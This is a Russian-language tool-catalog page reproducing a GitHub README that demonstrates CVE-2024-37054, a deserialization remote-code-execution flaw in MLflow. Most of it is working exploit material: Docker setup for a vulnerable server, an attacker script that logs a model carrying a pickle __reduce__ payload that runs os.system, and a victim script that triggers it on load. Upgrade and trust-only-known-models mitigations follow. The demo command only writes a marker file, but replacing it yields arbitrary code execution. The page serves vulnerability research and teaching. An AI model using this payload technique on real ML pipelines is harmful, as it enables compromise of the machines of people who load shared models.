Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Этот репозиторий содержит Proof of Concept (PoC) критической уязвимости десериализации в MLflow, которая позволяет выполнять удаленный код (RCE). | Kitploit
Инструменты/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Этот репозиторий содержит Proof of Concept (PoC) критической уязвимости десериализации в MLflow, которая позволяет выполнять удаленный код (RCE).

Репозиторий
321 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: PoC удаленного выполнения кода в MLflow

CVE License GitHub

LinkedIn

Этот репозиторий содержит Proof of Concept (PoC) для CVE-2024-37054 — критической уязвимости десериализации в MLflow, которая позволяет выполнять удаленный код (RCE).

📚 Содержание

  • Детали уязвимости
  • Доказательство концепции (PoC)
  • Меры по смягчению
  • Ссылки
  • Об авторе

🚨 Детали уязвимости

  • CVE ID: CVE-2024-37054
  • Краткое описание: Уязвимость десериализации существует в функции mlflow.pyfunc.load_model. Злоумышленник может создать вредоносную модель, содержащую сериализованный полезный payload. Когда жертва загружает эту модель, payload десериализуется с помощью cloudpickle.load, что приводит к выполнению произвольного кода на машине жертвы.
  • Затронутые продукты: Версии MLflow от 0.9.0 до, но не включая, 2.14.2.
  • Уязвимая функция: _load_pyfunc внутри mlflow/pyfunc/model.py.

🛠️ Доказательство концепции (PoC)

Этот PoC имитирует две роли: Атакующий, который загружает вредоносную модель, и Жертва, которая загружает её, что приводит к выполнению RCE.

1. Настройка окружения

Самый простой способ развернуть уязвимый сервер MLflow — использовать предоставленный Dockerfile.

Сборка и запуск Docker-контейнера:

root@kitploit:~
# 1. Сборка образа Docker
docker build -t mlflow-vulnerable .

# 2. Запуск контейнера, проброс порта 5000 на хост
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Теперь ваш уязвимый сервер MLflow работает по адресу http://127.0.0.1:5000.

2. Шаги выполнения

Вам понадобятся два отдельных терминала на вашей хост-машине. Убедитесь, что у вас локально установлена уязвимая версия mlflow (pip install mlflow==2.14.1) для запуска клиентских скриптов.

Часть 1: Атакующий — загрузка вредоносной модели

В первом терминале выполните скрипт атакующего, чтобы загрузить вредоносную модель.

Нажмите, чтобы увидеть скрипт атакующего (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# URI вашего MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Запустите его:

root@kitploit:~
python poc/log_malicious_model.py

Часть 2: Жертва — загрузка уязвимой модели

Во втором терминале выполните скрипт жертвы, чтобы смоделировать загрузку скомпрометированной модели.

Нажмите, чтобы увидеть скрипт жертвы (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

Запустите его:

root@kitploit:~
python poc/load_vulnerable_model.py

3. Наблюдайте результат

После выполнения скрипта жертвы вы увидите сообщение /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found в терминале, а в вашем каталоге будет создан новый файл с именем pwned.txt. Это подтверждает успешное выполнение команды.


🛡️ Меры по смягчению

  • Обновление MLflow: Обновитесь до версии 2.14.2 или новее, в которой эта уязвимость исправлена.
  • Никогда не загружайте недоверенные модели: Загружайте модели ML только из источников, которым вы полностью доверяете.

🔍 Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Оригинальное уведомление: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 Об авторе

Это Proof of Concept разработал Pujari Niteesh.

  • Инженер по исследованию кибербезопасности
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Веб-сайт: www.niteesh.in
Скачать инструмент